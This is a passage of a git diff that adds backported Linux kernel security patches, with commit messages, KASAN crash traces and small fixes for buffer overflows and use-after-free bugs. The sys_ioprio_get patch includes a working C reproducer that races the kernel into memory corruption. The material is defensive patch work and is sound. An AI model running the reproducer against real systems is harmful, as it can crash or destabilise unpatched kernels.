msm_camera_i2c_reg_array *i2c_tbl = a_ctrl->i2c_reg_tbl; + CDBG("Enter\n"); + for (i = 0; i < size; i++) { +- /* check that the index into i2c_tbl cannot grow larger that +- the allocated size of i2c_tbl */ +- if ((a_ctrl->total_steps + 1) < (a_ctrl->i2c_tbl_index)) { +- break; +- } + if (write_arr[i].reg_write_type == MSM_ACTUATOR_WRITE_DAC) { + value = (next_lens_position << + write_arr[i].data_shift) | +@@ -109,6 +104,11 @@ static void msm_actuator_parse_i2c_params(struct msm_actuator_ctrl_t *a_ctrl, + i2c_byte2 = value & 0xFF; + CDBG("byte1:0x%x, byte2:0x%x\n", + i2c_byte1, i2c_byte2); ++ if (a_ctrl->i2c_tbl_index > ++ a_ctrl->total_steps) { ++ pr_err("failed:i2c table index out of bound\n"); ++ break; ++ } + i2c_tbl[a_ctrl->i2c_tbl_index]. + reg_addr = i2c_byte1; + i2c_tbl[a_ctrl->i2c_tbl_index]. +@@ -129,6 +129,10 @@ static void msm_actuator_parse_i2c_params(struct msm_actuator_ctrl_t *a_ctrl, + i2c_byte2 = (hw_dword & write_arr[i].hw_mask) >> + write_arr[i].hw_shift; + } ++ if (a_ctrl->i2c_tbl_index > a_ctrl->total_steps) { ++ pr_err("failed: i2c table index out of bound\n"); ++ break; ++ } + CDBG("i2c_byte1:0x%x, i2c_byte2:0x%x\n", i2c_byte1, i2c_byte2); + i2c_tbl[a_ctrl->i2c_tbl_index].reg_addr = i2c_byte1; + i2c_tbl[a_ctrl->i2c_tbl_index].reg_data = i2c_byte2; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0284-62580295210b-ASoC msm lock readwrite when addfree audio ion memory.patch b/recipes-kernel/linux/linux-bass/autopatcher/0284-62580295210b-ASoC msm lock readwrite when addfree audio ion memory.patch new file mode 100644 index 0000000..01fe541 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0284-62580295210b-ASoC msm lock readwrite when addfree audio ion memory.patch @@ -0,0 +1,97 @@ +From 62580295210b6c0bd809cde7088b45ebb65ace79 Mon Sep 17 00:00:00 2001 +From: Walter Yang +Date: Wed, 28 Sep 2016 20:11:23 +0800 +Subject: ASoC: msm: lock read/write when add/free audio ion memory + +As read/write get access to ion memory region as well, it's +necessary to lock them when ion memory is about to be added/freed +to avoid racing cases. + +CRs-Fixed: 1071809 +Change-Id: I436ead23c93384961b38ca99b9312a40c50ad03a +Signed-off-by: Walter Yang +--- + drivers/misc/qcom/qdsp6v2/audio_utils_aio.c | 22 +++++++++++++++++++++- + 1 file changed, 21 insertions(+), 1 deletion(-) + +diff --git a/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c b/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c +index 8041111..7a4bae3 100644 +--- a/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c ++++ b/drivers/misc/qcom/qdsp6v2/audio_utils_aio.c +@@ -1,6 +1,6 @@ + /* Copyright (C) 2008 Google, Inc. + * Copyright (C) 2008 HTC Corporation +- * Copyright (c) 2009-2014, The Linux Foundation. All rights reserved. ++ * Copyright (c) 2009-2016, The Linux Foundation. All rights reserved. + * + * This software is licensed under the terms of the GNU General Public + * License version 2, as published by the Free Software Foundation, and +@@ -570,6 +570,8 @@ int audio_aio_release(struct inode *inode, struct file *file) + struct q6audio_aio *audio = file->private_data; + pr_debug("%s[%p]\n", __func__, audio); + mutex_lock(&audio->lock); ++ mutex_lock(&audio->read_lock); ++ mutex_lock(&audio->write_lock); + audio->wflush = 1; + if (audio->enabled) + audio_aio_flush(audio); +@@ -584,6 +586,8 @@ int audio_aio_release(struct inode *inode, struct file *file) + wake_up(&audio->event_wait); + audio_aio_reset_event_queue(audio); + q6asm_audio_client_free(audio->ac); ++ mutex_unlock(&audio->write_lock); ++ mutex_unlock(&audio->read_lock); + mutex_unlock(&audio->lock); + mutex_destroy(&audio->lock); + mutex_destroy(&audio->read_lock); +@@ -1679,7 +1683,11 @@ static long audio_aio_ioctl(struct file *file, unsigned int cmd, + __func__); + rc = -EFAULT; + } else { ++ mutex_lock(&audio->read_lock); ++ mutex_lock(&audio->write_lock); + rc = audio_aio_ion_add(audio, &info); ++ mutex_unlock(&audio->write_lock); ++ mutex_unlock(&audio->read_lock); + } + mutex_unlock(&audio->lock); + break; +@@ -1694,7 +1702,11 @@ static long audio_aio_ioctl(struct file *file, unsigned int cmd, + __func__); + rc = -EFAULT; + } else { ++ mutex_lock(&audio->read_lock); ++ mutex_lock(&audio->write_lock); + rc = audio_aio_ion_remove(audio, &info); ++ mutex_unlock(&audio->write_lock); ++ mutex_unlock(&audio->read_lock); + } + mutex_unlock(&audio->lock); + break; +@@ -1996,7 +2008,11 @@ static long audio_aio_compat_ioctl(struct file *file, unsigned int cmd, + } else { + info.fd = info_32.fd; + info.vaddr = compat_ptr(info_32.vaddr); ++ mutex_lock(&audio->read_lock); ++ mutex_lock(&audio->write_lock); + rc = audio_aio_ion_add(audio, &info); ++ mutex_unlock(&audio->write_lock); ++ mutex_unlock(&audio->read_lock); + } + mutex_unlock(&audio->lock); + break; +@@ -2013,7 +2029,11 @@ static long audio_aio_compat_ioctl(struct file *file, unsigned int cmd, + } else { + info.fd = info_32.fd; + info.vaddr = compat_ptr(info_32.vaddr); ++ mutex_lock(&audio->read_lock); ++ mutex_lock(&audio->write_lock); + rc = audio_aio_ion_remove(audio, &info); ++ mutex_unlock(&audio->write_lock); ++ mutex_unlock(&audio->read_lock); + } + mutex_unlock(&audio->lock); + break; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0285-13403121e729-tcp fix use after free in tcpxmitretransmitqueue.patch b/recipes-kernel/linux/linux-bass/autopatcher/0285-13403121e729-tcp fix use after free in tcpxmitretransmitqueue.patch new file mode 100644 index 0000000..8bf4b8a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0285-13403121e729-tcp fix use after free in tcpxmitretransmitqueue.patch @@ -0,0 +1,58 @@ +From 13403121e729df59dd92d9e4054293d91a004bf5 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Wed, 17 Aug 2016 05:56:26 -0700 +Subject: tcp: fix use after free in tcp_xmit_retransmit_queue() +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit bb1fceca22492109be12640d49f5ea5a544c6bb4 upstream. + +When tcp_sendmsg() allocates a fresh and empty skb, it puts it at the +tail of the write queue using tcp_add_write_queue_tail() + +Then it attempts to copy user data into this fresh skb. + +If the copy fails, we undo the work and remove the fresh skb. + +Unfortunately, this undo lacks the change done to tp->highest_sack and +we can leave a dangling pointer (to a freed skb) + +Later, tcp_xmit_retransmit_queue() can dereference this pointer and +access freed memory. For regular kernels where memory is not unmapped, +this might cause SACK bugs because tcp_highest_sack_seq() is buggy, +returning garbage instead of tp->snd_nxt, but with various debug +features like CONFIG_DEBUG_PAGEALLOC, this can crash the kernel. + +This bug was found by Marco Grassi thanks to syzkaller. + +Fixes: 6859d49475d4 ("[TCP]: Abstract tp->highest_sack accessing & point to next skb") +Reported-by: Marco Grassi +Signed-off-by: Eric Dumazet +Cc: Ilpo Järvinen +Cc: Yuchung Cheng +Cc: Neal Cardwell +Acked-by: Neal Cardwell +Reviewed-by: Cong Wang +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + include/net/tcp.h | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/include/net/tcp.h b/include/net/tcp.h +index 29a1a63cd303..1c5e037f78d1 100644 +--- a/include/net/tcp.h ++++ b/include/net/tcp.h +@@ -1392,6 +1392,8 @@ static inline void tcp_check_send_head(struct sock *sk, struct sk_buff *skb_unli + { + if (sk->sk_send_head == skb_unlinked) + sk->sk_send_head = NULL; ++ if (tcp_sk(sk)->highest_sack == skb_unlinked) ++ tcp_sk(sk)->highest_sack = NULL; + } + + static inline void tcp_init_send_head(struct sock *sk) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0286-b9eabdf01038-KEYS Fix short sprintf buffer in prockeys show function.patch b/recipes-kernel/linux/linux-bass/autopatcher/0286-b9eabdf01038-KEYS Fix short sprintf buffer in prockeys show function.patch new file mode 100644 index 0000000..be07a3d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0286-b9eabdf01038-KEYS Fix short sprintf buffer in prockeys show function.patch @@ -0,0 +1,76 @@ +From b9eabdf01038d11a75b9361f71e86b857faaf404 Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Wed, 26 Oct 2016 15:01:54 +0100 +Subject: KEYS: Fix short sprintf buffer in /proc/keys show function + +commit 03dab869b7b239c4e013ec82aea22e181e441cfc upstream. + +This fixes CVE-2016-7042. + +Fix a short sprintf buffer in proc_keys_show(). If the gcc stack protector +is turned on, this can cause a panic due to stack corruption. + +The problem is that xbuf[] is not big enough to hold a 64-bit timeout +rendered as weeks: + + (gdb) p 0xffffffffffffffffULL/(60*60*24*7) + $2 = 30500568904943 + +That's 14 chars plus NUL, not 11 chars plus NUL. + +Expand the buffer to 16 chars. + +I think the unpatched code apparently works if the stack-protector is not +enabled because on a 32-bit machine the buffer won't be overflowed and on a +64-bit machine there's a 64-bit aligned pointer at one side and an int that +isn't checked again on the other side. + +The panic incurred looks something like: + +Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ffffffff81352ebe +CPU: 0 PID: 1692 Comm: reproducer Not tainted 4.7.2-201.fc24.x86_64 #1 +Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2011 + 0000000000000086 00000000fbbd2679 ffff8800a044bc00 ffffffff813d941f + ffffffff81a28d58 ffff8800a044bc98 ffff8800a044bc88 ffffffff811b2cb6 + ffff880000000010 ffff8800a044bc98 ffff8800a044bc30 00000000fbbd2679 +Call Trace: + [] dump_stack+0x63/0x84 + [] panic+0xde/0x22a + [] ? proc_keys_show+0x3ce/0x3d0 + [] __stack_chk_fail+0x19/0x30 + [] proc_keys_show+0x3ce/0x3d0 + [] ? key_validate+0x50/0x50 + [] ? key_default_cmp+0x20/0x20 + [] seq_read+0x2cc/0x390 + [] proc_reg_read+0x42/0x70 + [] __vfs_read+0x37/0x150 + [] ? security_file_permission+0xa0/0xc0 + [] vfs_read+0x96/0x130 + [] SyS_read+0x55/0xc0 + [] entry_SYSCALL_64_fastpath+0x1a/0xa4 + +Reported-by: Ondrej Kozina +Signed-off-by: David Howells +Tested-by: Ondrej Kozina +Signed-off-by: James Morris +Signed-off-by: Willy Tarreau +--- + security/keys/proc.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/security/keys/proc.c b/security/keys/proc.c +index 217b6855e815..374c3301b802 100644 +--- a/security/keys/proc.c ++++ b/security/keys/proc.c +@@ -188,7 +188,7 @@ static int proc_keys_show(struct seq_file *m, void *v) + struct timespec now; + unsigned long timo; + key_ref_t key_ref, skey_ref; +- char xbuf[12]; ++ char xbuf[16]; + int rc; + + key_ref = make_key_ref(key, 0); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0287-8ba9ba1ab9b1-net Fix use after free in the recvmmsg exit path.patch b/recipes-kernel/linux/linux-bass/autopatcher/0287-8ba9ba1ab9b1-net Fix use after free in the recvmmsg exit path.patch new file mode 100644 index 0000000..7444688 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0287-8ba9ba1ab9b1-net Fix use after free in the recvmmsg exit path.patch @@ -0,0 +1,95 @@ +From 8ba9ba1ab9b1773dc879d21dab59b9b7d57d14ff Mon Sep 17 00:00:00 2001 +From: Arnaldo Carvalho de Melo +Date: Mon, 14 Mar 2016 09:56:35 -0300 +Subject: net: Fix use after free in the recvmmsg exit path + +commit 34b88a68f26a75e4fded796f1a49c40f82234b7d upstream. + +The syzkaller fuzzer hit the following use-after-free: + + Call Trace: + [] __asan_report_load8_noabort+0x3e/0x40 mm/kasan/report.c:295 + [] __sys_recvmmsg+0x6fa/0x7f0 net/socket.c:2261 + [< inline >] SYSC_recvmmsg net/socket.c:2281 + [] SyS_recvmmsg+0x16f/0x180 net/socket.c:2270 + [] entry_SYSCALL_64_fastpath+0x16/0x7a + arch/x86/entry/entry_64.S:185 + +And, as Dmitry rightly assessed, that is because we can drop the +reference and then touch it when the underlying recvmsg calls return +some packets and then hit an error, which will make recvmmsg to set +sock->sk->sk_err, oops, fix it. + +Reported-and-Tested-by: Dmitry Vyukov +Cc: Alexander Potapenko +Cc: Eric Dumazet +Cc: Kostya Serebryany +Cc: Sasha Levin +Fixes: a2e2725541fa ("net: Introduce recvmmsg socket syscall") +http://lkml.kernel.org/r/20160122211644.GC2470@redhat.com +Signed-off-by: Arnaldo Carvalho de Melo +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Willy Tarreau +--- + net/socket.c | 38 +++++++++++++++++++------------------- + 1 file changed, 19 insertions(+), 19 deletions(-) + +diff --git a/net/socket.c b/net/socket.c +index 53b6e411f7a4..e91e8ed1b8df 100644 +--- a/net/socket.c ++++ b/net/socket.c +@@ -2381,31 +2381,31 @@ int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen, + break; + } + +-out_put: +- fput_light(sock->file, fput_needed); +- + if (err == 0) +- return datagrams; ++ goto out_put; + +- if (datagrams != 0) { ++ if (datagrams == 0) { ++ datagrams = err; ++ goto out_put; ++ } ++ ++ /* ++ * We may return less entries than requested (vlen) if the ++ * sock is non block and there aren't enough datagrams... ++ */ ++ if (err != -EAGAIN) { + /* +- * We may return less entries than requested (vlen) if the +- * sock is non block and there aren't enough datagrams... ++ * ... or if recvmsg returns an error after we ++ * received some datagrams, where we record the ++ * error to return on the next call or if the ++ * app asks about it using getsockopt(SO_ERROR). + */ +- if (err != -EAGAIN) { +- /* +- * ... or if recvmsg returns an error after we +- * received some datagrams, where we record the +- * error to return on the next call or if the +- * app asks about it using getsockopt(SO_ERROR). +- */ +- sock->sk->sk_err = -err; +- } +- +- return datagrams; ++ sock->sk->sk_err = -err; + } ++out_put: ++ fput_light(sock->file, fput_needed); + +- return err; ++ return datagrams; + } + + SYSCALL_DEFINE5(recvmmsg, int, fd, struct mmsghdr __user *, mmsg, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0288-0b5240c45e20-net socket fix recvmmsg not returning error from sockerror.patch b/recipes-kernel/linux/linux-bass/autopatcher/0288-0b5240c45e20-net socket fix recvmmsg not returning error from sockerror.patch new file mode 100644 index 0000000..4fbcd4a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0288-0b5240c45e20-net socket fix recvmmsg not returning error from sockerror.patch @@ -0,0 +1,49 @@ +From 0b5240c45e2029986526b1405ab24906c708f770 Mon Sep 17 00:00:00 2001 +From: Maxime Jayat +Date: Tue, 21 Feb 2017 18:35:51 +0100 +Subject: net: socket: fix recvmmsg not returning error from sock_error + +commit e623a9e9dec29ae811d11f83d0074ba254aba374 upstream. + +Commit 34b88a68f26a ("net: Fix use after free in the recvmmsg exit path"), +changed the exit path of recvmmsg to always return the datagrams +variable and modified the error paths to set the variable to the error +code returned by recvmsg if necessary. + +However in the case sock_error returned an error, the error code was +then ignored, and recvmmsg returned 0. + +Change the error path of recvmmsg to correctly return the error code +of sock_error. + +The bug was triggered by using recvmmsg on a CAN interface which was +not up. Linux 4.6 and later return 0 in this case while earlier +releases returned -ENETDOWN. + +Fixes: 34b88a68f26a ("net: Fix use after free in the recvmmsg exit path") +Signed-off-by: Maxime Jayat +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/socket.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/net/socket.c b/net/socket.c +index e91e8ed1b8df..773ba3abb10b 100644 +--- a/net/socket.c ++++ b/net/socket.c +@@ -2326,8 +2326,10 @@ int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen, + return err; + + err = sock_error(sock->sk); +- if (err) ++ if (err) { ++ datagrams = err; + goto out_put; ++ } + + entry = mmsg; + compat_entry = (struct compat_mmsghdr __user *)mmsg; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0289-7a03031a5dbd-scsi arcmsr Buffer overflow in arcmsriopmessagexfer.patch b/recipes-kernel/linux/linux-bass/autopatcher/0289-7a03031a5dbd-scsi arcmsr Buffer overflow in arcmsriopmessagexfer.patch new file mode 100644 index 0000000..4ce7307 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0289-7a03031a5dbd-scsi arcmsr Buffer overflow in arcmsriopmessagexfer.patch @@ -0,0 +1,51 @@ +From 7a03031a5dbd7f479e8e8555286098e83cba996c Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Thu, 15 Sep 2016 16:44:56 +0300 +Subject: scsi: arcmsr: Buffer overflow in arcmsr_iop_message_xfer() + +commit 7bc2b55a5c030685b399bb65b6baa9ccc3d1f167 upstream. + +We need to put an upper bound on "user_len" so the memcpy() doesn't +overflow. + +[js] no ARCMSR_API_DATA_BUFLEN defined, use the number + +Reported-by: Marco Grassi +Signed-off-by: Dan Carpenter +Reviewed-by: Tomas Henzl +Signed-off-by: Martin K. Petersen +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + drivers/scsi/arcmsr/arcmsr_hba.c | 8 +++++++- + 1 file changed, 7 insertions(+), 1 deletion(-) + +diff --git a/drivers/scsi/arcmsr/arcmsr_hba.c b/drivers/scsi/arcmsr/arcmsr_hba.c +index 1822cb9ec623..66dda86e62e1 100644 +--- a/drivers/scsi/arcmsr/arcmsr_hba.c ++++ b/drivers/scsi/arcmsr/arcmsr_hba.c +@@ -1803,7 +1803,8 @@ static int arcmsr_iop_message_xfer(struct AdapterControlBlock *acb, + + case ARCMSR_MESSAGE_WRITE_WQBUFFER: { + unsigned char *ver_addr; +- int32_t my_empty_len, user_len, wqbuf_firstindex, wqbuf_lastindex; ++ uint32_t user_len; ++ int32_t my_empty_len, wqbuf_firstindex, wqbuf_lastindex; + uint8_t *pQbuffer, *ptmpuserbuffer; + + ver_addr = kmalloc(1032, GFP_ATOMIC); +@@ -1820,6 +1821,11 @@ static int arcmsr_iop_message_xfer(struct AdapterControlBlock *acb, + } + ptmpuserbuffer = ver_addr; + user_len = pcmdmessagefld->cmdmessage.Length; ++ if (user_len > 1032) { ++ retvalue = ARCMSR_MESSAGE_FAIL; ++ kfree(ver_addr); ++ goto message_out; ++ } + memcpy(ptmpuserbuffer, pcmdmessagefld->messagedatabuffer, user_len); + wqbuf_lastindex = acb->wqbuf_lastindex; + wqbuf_firstindex = acb->wqbuf_firstindex; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0290-23cf0b7eeda4-block fix useafterfree in seq file.patch b/recipes-kernel/linux/linux-bass/autopatcher/0290-23cf0b7eeda4-block fix useafterfree in seq file.patch new file mode 100644 index 0000000..73e7483 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0290-23cf0b7eeda4-block fix useafterfree in seq file.patch @@ -0,0 +1,115 @@ +From 23cf0b7eeda4777d0bac40f05b3ce3c62e34c957 Mon Sep 17 00:00:00 2001 +From: Vegard Nossum +Date: Fri, 29 Jul 2016 10:40:31 +0200 +Subject: block: fix use-after-free in seq file + +commit 77da160530dd1dc94f6ae15a981f24e5f0021e84 upstream. + +I got a KASAN report of use-after-free: + + ================================================================== + BUG: KASAN: use-after-free in klist_iter_exit+0x61/0x70 at addr ffff8800b6581508 + Read of size 8 by task trinity-c1/315 + ============================================================================= + BUG kmalloc-32 (Not tainted): kasan: bad access detected + ----------------------------------------------------------------------------- + + Disabling lock debugging due to kernel taint + INFO: Allocated in disk_seqf_start+0x66/0x110 age=144 cpu=1 pid=315 + ___slab_alloc+0x4f1/0x520 + __slab_alloc.isra.58+0x56/0x80 + kmem_cache_alloc_trace+0x260/0x2a0 + disk_seqf_start+0x66/0x110 + traverse+0x176/0x860 + seq_read+0x7e3/0x11a0 + proc_reg_read+0xbc/0x180 + do_loop_readv_writev+0x134/0x210 + do_readv_writev+0x565/0x660 + vfs_readv+0x67/0xa0 + do_preadv+0x126/0x170 + SyS_preadv+0xc/0x10 + do_syscall_64+0x1a1/0x460 + return_from_SYSCALL_64+0x0/0x6a + INFO: Freed in disk_seqf_stop+0x42/0x50 age=160 cpu=1 pid=315 + __slab_free+0x17a/0x2c0 + kfree+0x20a/0x220 + disk_seqf_stop+0x42/0x50 + traverse+0x3b5/0x860 + seq_read+0x7e3/0x11a0 + proc_reg_read+0xbc/0x180 + do_loop_readv_writev+0x134/0x210 + do_readv_writev+0x565/0x660 + vfs_readv+0x67/0xa0 + do_preadv+0x126/0x170 + SyS_preadv+0xc/0x10 + do_syscall_64+0x1a1/0x460 + return_from_SYSCALL_64+0x0/0x6a + + CPU: 1 PID: 315 Comm: trinity-c1 Tainted: G B 4.7.0+ #62 + Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 + ffffea0002d96000 ffff880119b9f918 ffffffff81d6ce81 ffff88011a804480 + ffff8800b6581500 ffff880119b9f948 ffffffff8146c7bd ffff88011a804480 + ffffea0002d96000 ffff8800b6581500 fffffffffffffff4 ffff880119b9f970 + Call Trace: + [] dump_stack+0x65/0x84 + [] print_trailer+0x10d/0x1a0 + [] object_err+0x2f/0x40 + [] kasan_report_error+0x221/0x520 + [] __asan_report_load8_noabort+0x3e/0x40 + [] klist_iter_exit+0x61/0x70 + [] class_dev_iter_exit+0x9/0x10 + [] disk_seqf_stop+0x3a/0x50 + [] seq_read+0x4b2/0x11a0 + [] proc_reg_read+0xbc/0x180 + [] do_loop_readv_writev+0x134/0x210 + [] do_readv_writev+0x565/0x660 + [] vfs_readv+0x67/0xa0 + [] do_preadv+0x126/0x170 + [] SyS_preadv+0xc/0x10 + +This problem can occur in the following situation: + +open() + - pread() + - .seq_start() + - iter = kmalloc() // succeeds + - seqf->private = iter + - .seq_stop() + - kfree(seqf->private) + - pread() + - .seq_start() + - iter = kmalloc() // fails + - .seq_stop() + - class_dev_iter_exit(seqf->private) // boom! old pointer + +As the comment in disk_seqf_stop() says, stop is called even if start +failed, so we need to reinitialise the private pointer to NULL when seq +iteration stops. + +An alternative would be to set the private pointer to NULL when the +kmalloc() in disk_seqf_start() fails. + +Cc: stable@vger.kernel.org +Signed-off-by: Vegard Nossum +Acked-by: Tejun Heo +Signed-off-by: Jens Axboe +Signed-off-by: Willy Tarreau +--- + block/genhd.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/block/genhd.c b/block/genhd.c +index b09f5fc94dee..7af2f6a18d9b 100644 +--- a/block/genhd.c ++++ b/block/genhd.c +@@ -829,6 +829,7 @@ static void disk_seqf_stop(struct seq_file *seqf, void *v) + if (iter) { + class_dev_iter_exit(iter); + kfree(iter); ++ seqf->private = NULL; + } + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0291-0f3a4aaafa82-block fix useafterfree in sysioprioget.patch b/recipes-kernel/linux/linux-bass/autopatcher/0291-0f3a4aaafa82-block fix useafterfree in sysioprioget.patch new file mode 100644 index 0000000..aedbfd2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0291-0f3a4aaafa82-block fix useafterfree in sysioprioget.patch @@ -0,0 +1,121 @@ +From 0f3a4aaafa82dfbc98606e56453fabbd6c27a3ce Mon Sep 17 00:00:00 2001 +From: Omar Sandoval +Date: Fri, 1 Jul 2016 00:39:35 -0700 +Subject: block: fix use-after-free in sys_ioprio_get() + +commit 8ba8682107ee2ca3347354e018865d8e1967c5f4 upstream. + +get_task_ioprio() accesses the task->io_context without holding the task +lock and thus can race with exit_io_context(), leading to a +use-after-free. The reproducer below hits this within a few seconds on +my 4-core QEMU VM: + +int main(int argc, char **argv) +{ + pid_t pid, child; + long nproc, i; + + /* ioprio_set(IOPRIO_WHO_PROCESS, 0, IOPRIO_PRIO_VALUE(IOPRIO_CLASS_IDLE, 0)); */ + syscall(SYS_ioprio_set, 1, 0, 0x6000); + + nproc = sysconf(_SC_NPROCESSORS_ONLN); + + for (i = 0; i < nproc; i++) { + pid = fork(); + assert(pid != -1); + if (pid == 0) { + for (;;) { + pid = fork(); + assert(pid != -1); + if (pid == 0) { + _exit(0); + } else { + child = wait(NULL); + assert(child == pid); + } + } + } + + pid = fork(); + assert(pid != -1); + if (pid == 0) { + for (;;) { + /* ioprio_get(IOPRIO_WHO_PGRP, 0); */ + syscall(SYS_ioprio_get, 2, 0); + } + } + } + + for (;;) { + /* ioprio_get(IOPRIO_WHO_PGRP, 0); */ + syscall(SYS_ioprio_get, 2, 0); + } + + return 0; +} + +This gets us KASAN dumps like this: + +[ 35.526914] ================================================================== +[ 35.530009] BUG: KASAN: out-of-bounds in get_task_ioprio+0x7b/0x90 at addr ffff880066f34e6c +[ 35.530009] Read of size 2 by task ioprio-gpf/363 +[ 35.530009] ============================================================================= +[ 35.530009] BUG blkdev_ioc (Not tainted): kasan: bad access detected +[ 35.530009] ----------------------------------------------------------------------------- + +[ 35.530009] Disabling lock debugging due to kernel taint +[ 35.530009] INFO: Allocated in create_task_io_context+0x2b/0x370 age=0 cpu=0 pid=360 +[ 35.530009] ___slab_alloc+0x55d/0x5a0 +[ 35.530009] __slab_alloc.isra.20+0x2b/0x40 +[ 35.530009] kmem_cache_alloc_node+0x84/0x200 +[ 35.530009] create_task_io_context+0x2b/0x370 +[ 35.530009] get_task_io_context+0x92/0xb0 +[ 35.530009] copy_process.part.8+0x5029/0x5660 +[ 35.530009] _do_fork+0x155/0x7e0 +[ 35.530009] SyS_clone+0x19/0x20 +[ 35.530009] do_syscall_64+0x195/0x3a0 +[ 35.530009] return_from_SYSCALL_64+0x0/0x6a +[ 35.530009] INFO: Freed in put_io_context+0xe7/0x120 age=0 cpu=0 pid=1060 +[ 35.530009] __slab_free+0x27b/0x3d0 +[ 35.530009] kmem_cache_free+0x1fb/0x220 +[ 35.530009] put_io_context+0xe7/0x120 +[ 35.530009] put_io_context_active+0x238/0x380 +[ 35.530009] exit_io_context+0x66/0x80 +[ 35.530009] do_exit+0x158e/0x2b90 +[ 35.530009] do_group_exit+0xe5/0x2b0 +[ 35.530009] SyS_exit_group+0x1d/0x20 +[ 35.530009] entry_SYSCALL_64_fastpath+0x1a/0xa4 +[ 35.530009] INFO: Slab 0xffffea00019bcd00 objects=20 used=4 fp=0xffff880066f34ff0 flags=0x1fffe0000004080 +[ 35.530009] INFO: Object 0xffff880066f34e58 @offset=3672 fp=0x0000000000000001 +[ 35.530009] ================================================================== + +Fix it by grabbing the task lock while we poke at the io_context. + +Reported-by: Dmitry Vyukov +Signed-off-by: Omar Sandoval +Signed-off-by: Jens Axboe +Acked-by: Johannes Thumshirn +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + fs/ioprio.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/fs/ioprio.c b/fs/ioprio.c +index 31666c92b46a..563435684c3c 100644 +--- a/fs/ioprio.c ++++ b/fs/ioprio.c +@@ -149,8 +149,10 @@ static int get_task_ioprio(struct task_struct *p) + if (ret) + goto out; + ret = IOPRIO_PRIO_VALUE(IOPRIO_CLASS_NONE, IOPRIO_NORM); ++ task_lock(p); + if (p->io_context) + ret = p->io_context->ioprio; ++ task_unlock(p); + out: + return ret; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0292-8dfbcc4351a0-media xc2028 avoid use after free.patch b/recipes-kernel/linux/linux-bass/autopatcher/0292-8dfbcc4351a0-media xc2028 avoid use after free.patch new file mode 100644 index 0000000..0bff39c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0292-8dfbcc4351a0-media xc2028 avoid use after free.patch @@ -0,0 +1,162 @@ +From 8dfbcc4351a0b6d2f2d77f367552f48ffefafe18 Mon Sep 17 00:00:00 2001 +From: Mauro Carvalho Chehab +Date: Thu, 28 Jan 2016 09:22:44 -0200 +Subject: [media] xc2028: avoid use after free + +If struct xc2028_config is passed without a firmware name, +the following trouble may happen: + +[11009.907205] xc2028 5-0061: type set to XCeive xc2028/xc3028 tuner +[11009.907491] ================================================================== +[11009.907750] BUG: KASAN: use-after-free in strcmp+0x96/0xb0 at addr ffff8803bd78ab40 +[11009.907992] Read of size 1 by task modprobe/28992 +[11009.907994] ============================================================================= +[11009.907997] BUG kmalloc-16 (Tainted: G W ): kasan: bad access detected +[11009.907999] ----------------------------------------------------------------------------- + +[11009.908008] INFO: Allocated in xhci_urb_enqueue+0x214/0x14c0 [xhci_hcd] age=0 cpu=3 pid=28992 +[11009.908012] ___slab_alloc+0x581/0x5b0 +[11009.908014] __slab_alloc+0x51/0x90 +[11009.908017] __kmalloc+0x27b/0x350 +[11009.908022] xhci_urb_enqueue+0x214/0x14c0 [xhci_hcd] +[11009.908026] usb_hcd_submit_urb+0x1e8/0x1c60 +[11009.908029] usb_submit_urb+0xb0e/0x1200 +[11009.908032] usb_serial_generic_write_start+0xb6/0x4c0 +[11009.908035] usb_serial_generic_write+0x92/0xc0 +[11009.908039] usb_console_write+0x38a/0x560 +[11009.908045] call_console_drivers.constprop.14+0x1ee/0x2c0 +[11009.908051] console_unlock+0x40d/0x900 +[11009.908056] vprintk_emit+0x4b4/0x830 +[11009.908061] vprintk_default+0x1f/0x30 +[11009.908064] printk+0x99/0xb5 +[11009.908067] kasan_report_error+0x10a/0x550 +[11009.908070] 